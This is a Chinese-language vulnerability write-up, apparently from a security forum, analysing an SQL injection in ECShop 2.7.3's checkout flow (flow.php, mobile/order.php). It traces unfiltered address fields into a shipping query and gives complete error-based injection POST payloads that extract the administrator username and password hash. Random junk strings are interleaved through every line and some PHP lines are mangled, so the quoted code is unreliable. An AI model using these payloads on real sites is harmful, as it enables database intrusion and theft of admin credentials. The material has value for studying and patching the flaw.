前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
7 t' G7 d U* s& Z! p$ t2 ?) r' f" A# J
漏洞关键文件:% Q C2 q" l. d$ v* _
. [- [) z- ?* i% \ /includes/lib_order.php
' e$ _( e- N# z* \2 Q
8 Q& f3 X' [; U/ C 关键函数:0 p ^/ ? d6 O3 j
- ~% M* D- k }' s0 Y
, T( K) c5 R2 @' s% S
1 g) I3 ^( {" Y1 g01 function available_shipping_list($region_id_list) % k& K. {1 c% I4 K
$ t4 O5 i" y0 p: V+ a5 J L+ ^- ^02 { # l. n# v; @- [6 F
1 p: o+ A4 U5 p# {9 p: w% d( f
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
3 _0 @* ?2 B3 m$ y
4 O) g/ S: K1 A0 X7 } b3 g04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
/ S0 p8 b7 P7 M, p! o& ^% a& s; R; K# z5 @
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . ) @& F- h% h7 V$ U# Q6 t* z( q1 J
: e0 N/ G# ?6 `) A, r6 d2 Y2 H6 q$ u
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . + [0 A4 V5 F( h) C% N" Q( r
0 B$ X/ ~' j. _7 e
07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
4 q5 }. t, u# {1 A, ~/ x1 p+ w5 I0 B ]7 t' x7 s
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
0 k, Z; [0 ?- r$ t9 v* n! e2 V- W1 r) M1 K E) w$ j( U
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
. [: a6 i+ r, J
! x) ~& S: S8 H9 b/ T% J2 a10 * ~- Q% r8 j/ f% g z! P
7 _5 o1 Z9 ?! l11 return $GLOBALS['db']->getAll($sql);
6 q5 J. r/ Y: W5 P; \. t6 Z. W% E R; ~/ J
12 } # Z! B6 P% F. n
) n) E8 K0 P/ l8 k' i0 }% `' S6 v! u
显然对传入的参数没有任何过滤就带入了查询语句。
6 L( I: y4 T9 @+ s% K
2 ]# h: C1 R d( U" A5 d下面我们追踪这个函数在flow.php中:8 \% M) U4 H; Z
第531行: # c$ L: w) z$ ~4 h2 {9 x8 L
5 F; ~% S; {. m) W' w( m8 G1 $shipping_list = available_shipping_list($region); 8 E- q( V) n6 } B: t% I( p) @% Y
b) A* f. o7 P* p $ {( X) ?! C2 P) p! u5 e% N2 K
' f; H" S0 J; o( V
# `/ P: S7 T% ~: v( @) k9 u0 @* n4 C/ R) q6 z
再对传入变量进行追踪:
! Z0 H5 @& r! O* B& [
( k+ [7 u, ~8 v第530行: . |* G Y- s E0 W
/ [, \0 O* n, b2 B3 B6 c3 W% J$ z3 K
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ( E( C% o$ I; v) s+ X3 @9 |% c
/ N, y3 ]& L, K, d, ] 4 g) e& |2 r7 K5 y G+ Z
7 l3 w7 m+ z# [/ }2 I" T : K" V0 g( y) C6 b, c8 r
8 f4 x" z4 ~3 p) i t) H9 O
第473行:
9 w1 K a. Y! c. I; R' U
8 f, y$ X8 {' h3 m& F1 $consignee = get_consignee($_SESSION['user_id']); % m. S; ?2 W! n* g, f
6 l4 C M3 s) p7 M( e" ~到了一个关键函数:
. G9 H0 s7 Y8 z ~) F& o* X+ s8 ]$ w- E: x
/includes/lib_order.php8 O% F; n6 n/ B, q; [- |1 t, J0 g
. B( u: i4 I, E0 r4 f: |" D; M
% q0 }% T* I& o. U. I, h$ ^! X3 x' X* M) w6 D4 ~
_0 m) e' x! a: e" _/ |
0 u4 h% ^3 [/ U3 v1 T7 z8 g
01 function get_consignee($user_id) , _1 x0 F8 W( r& Q
/ ~5 x' [7 C9 U02 {
* V0 Z4 \4 q! X3 B/ t$ |
8 ], p+ K* C7 J |03 if (isset($_SESSION['flow_consignee'])) + S0 w! t6 l6 A; p$ w+ M5 [$ S
5 M* O0 M2 S7 ~7 @2 R04 { % I& P# A* l8 C w9 ?
8 O8 K2 [$ _1 i( \( [05 /* 如果存在session,则直接返回session中的收货人信息 */ 1 \0 k% d R" l- v. O2 K6 g
* J$ z6 f- V" R* {: E
06
7 r, O; ]$ F' z1 D2 l0 M. ]# y7 @& z( ~- u. S
07 return $_SESSION['flow_consignee']; 1 _9 S) U: K) Q2 A7 z6 j/ N ~! y
1 f7 r! ~& r! G$ Q9 l c* l5 d4 L
08 }
# x7 ]4 N7 M1 ~( G! s; v/ ]
3 M. U. Y% H: g6 Y; N% m' P3 c09 else + Y, N: i. b* k2 V3 N/ p
K( W" p# p; W7 ?
10 { ( Y0 H0 Z. ]* N$ s
' c( F) g+ |' N8 G" r- ^9 @/ _4 b11 /* 如果不存在,则取得用户的默认收货人信息 */
* Z' e1 p9 [/ I3 K! b/ j
7 e6 \# I) v8 X) Y7 z9 R12 $arr = array(); * O7 n; r8 ]2 ^7 v H5 t3 f
( g) L- m. ^0 i0 J0 \' m2 n( G& |% _1 B13 6 D: N% o0 y2 P8 W
8 Q' C8 y+ w+ ~14 if ($user_id > 0) , ?. q3 D' D W; ]0 H- E
* \, s' V4 E& j' B15 {
3 Q: m7 o8 S( j' S' O* G
% ^0 F1 o$ k& W' \; c16 /* 取默认地址 */ - X! y* r' ^- |. x% [( @ Z% D# d2 ^
) s1 @0 N9 I- ^6 q4 L8 T17 $sql = "SELECT ua.*".
3 E: s, P: f3 K$ `1 m% n4 q- D1 a/ I3 l& O8 j( c
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
8 G4 [; c1 C7 k7 O- x+ C; c. @( C' d9 y( g. J
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
# Y' B" W% P6 n5 ^' V0 i+ |. y) J$ j. Q8 R6 \( K
20 8 _2 D0 d5 m% `9 C: N+ r( i+ i8 i$ X
j, C! \/ e5 T8 r; j21 $arr = $GLOBALS['db']->getRow($sql); # ]5 Q/ H% f8 }; u3 Q* t
5 k/ p7 M9 n7 H) ^& t6 t22 }
5 G) t+ U& L$ M& s3 [. J- w3 r6 T6 O- H! g
23
6 z7 _+ w( D! _6 T( `- w V! G4 c/ c8 j& S
24 return $arr; . Q0 @) J* o( y8 Y9 y. M9 [: l& |( {
( ]' V7 p8 M/ \& R25 } - r/ I- k; [( j1 p3 r7 G# K' [
# `% }7 u! A4 ?1 o26 }
9 o. m! A* G) t
* D3 h! z! A8 E% I显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
5 X$ h5 u- A S; J; K" h' q" p, @, N+ D( M3 I1 B. _! X
2 l: o8 ?# @3 C) O; k6 m
& {2 x& e7 q& a: P! Q关键点:
8 K6 d( q' N# ]9 ^+ U; v& W$ U0 k: W. H
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);3 n/ g# ~/ Q7 g% I
/ V' V! z( ]! H8 T0 g5 H3 R这里对传入参数反转义存入$_SESSION中。9 |( O; k8 v0 L8 ]7 X; H: i
5 @! S2 D) e2 Q: W2 ~$ c
" C( A( p' ]' ]& N
- f5 n( `- F1 f( ~! G+ J然后看下:8 \ p4 S2 \+ n( c2 f
* y; R$ E. u: c " `- _7 Z- g% \* F9 k
( V+ l5 o2 A" q9 }8 l4 B/ q
4 k- W# z: ?$ y6 l7 q& K D# ~
]& n- T# j$ \* Z' t8 ?5 w01 $consignee = array(
# S& x7 ]: n5 r# {
7 y( o: w' a0 ^) d( D# i02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
' B! U2 R, e" o5 t( K" ?: c
4 |( l1 ]/ v# e( J# W03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), - G% M/ L9 y# M4 Z
' x2 \3 S! f6 e/ s04 'country' => empty($_POST['country']) ? '' _POST['country'], 4 K8 A. O0 U* E9 r: G1 ]
: V9 V7 J8 g' a: V05 'province' => empty($_POST['province']) ? '' _POST['province'],
% y. b7 h% ^+ |. b+ n3 ~9 {8 N, `- V5 k3 s5 a" `9 A
06 'city' => empty($_POST['city']) ? '' _POST['city'],
& @" j }2 e) I# k& v
' a% L( f4 ?' o, @" Q8 f07 'district' => empty($_POST['district']) ? '' _POST['district'], - e; k; O8 r' @ l
; p* X; ~# a* T
08 'email' => empty($_POST['email']) ? '' _POST['email'],
0 k) c1 e3 a" y: B. o( I b8 |$ a- d/ z
09 'address' => empty($_POST['address']) ? '' _POST['address'], 6 z3 q$ T/ u5 M! |( V4 g0 l+ x
& v- a! @% e4 F" F) l1 y% s$ o# U10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
5 H. L) [# T( r' _# c; h' ?! j. z7 m6 p% d) D# G
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), & o' J( h3 g; l" a
# K( E7 J* `" W, K& i
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
% K; L: p0 I6 `2 K; M3 E5 F, p* J, F" H! o" O
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
& G5 t2 H7 ^" K% q# ]* o" ]) V3 f
$ m* V7 X% d& E( b# P14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], , E+ x: u9 z3 V
- Q& K) Q/ G4 @: H
15 );
( s4 Q7 T* f1 L8 I! y) x
3 ]! K9 c" U( T6 I好了注入就这样出现了。
# j, L9 g2 p. A8 a( v7 `) L. e0 @" H: s9 d1 _( a
==================
1 y4 l5 i: T2 D9 _. g; D1 F
0 |! T6 b0 E9 B注入测试:& I3 M/ V4 m1 k& d
+ e8 M$ ^ r7 l4 i/ y' a: Z0 g
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)5 Q3 Z4 T# K: d2 U2 V
6 q* l) }/ ?! R7 d- l( V测试程序:ECShop_V2.7.3_UTF8_release1106, L5 W' v0 ^8 _ |( Q5 F1 D
8 I1 N: A" Q, R3 J# z \; w
+ |/ Y2 v& E# L) F3 [ `6 [$ }8 a5 ?
1.首先需要点击一个商品加入购物车, J$ J T& B3 @ g
: D: Z& c" e5 q* D2.注册一个会员帐号
; N& A2 ~0 o3 A9 f7 a5 X) Q% c/ ^! w- F
3.post提交数据! y1 ~3 v( ~' n5 S
7 E. I0 A( g: x" e8 B
7 V G5 Z) g/ l# L) r) g( s% R
% T) } q8 G. j
1 http://127.0.0.1/ecshop/flow.php * A! o J+ |( s' j$ t
$ }1 g0 G/ i) i$ E/ b8 A6 B& ~2
) _6 J8 q3 }& U# s( M9 O# R; n; {$ W3 m9 M0 Z% M$ @2 c" o# g
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
8 k+ a* u* E! @$ q: p5 ^( | s举一反三,我们根据这个漏洞我们可以继续深入挖掘:
7 r; ~0 A+ G& ? c. B8 H, U% B$ p: v W9 w, v
我们搜寻关键函数function available_shipping_list()
+ f' N; t$ U0 { U. c
' `6 A% [( e5 o% s0 i1 Z8 j# \在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
8 w1 P% Y8 M0 a" S& U {! A. K1 w; u, j9 y/ w: D; m
利用exp:0 J- _; G6 D5 t: C/ h
; o7 q Q( C! M' r9 r3 W8 I
1.点击一个商品,点击购买商标3 W+ h! X* c1 R: b3 L1 m! Y* c
0 Q* u$ A2 [4 j
2.登录会员帐号* g: d/ u% W! L# v- v/ G3 w
# J0 d5 V1 m T2 Y: l
3.post提交:" U! y4 H, {6 z( G
* r, B0 _+ f& D" V: ahttp://127.0.0.1/ecshop/mobile/order.php
& h3 m; t" ^* }4 T8 B5 R
+ k0 x' o* F" k9 J 0 P! x4 O, _' I" h- Y3 }
5 c' ~/ z5 u9 Z1 s/ n: z! s
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=6 J# K+ w% o( {' x2 m9 W( V5 u" {
7 P' p" c4 U7 K9 w
|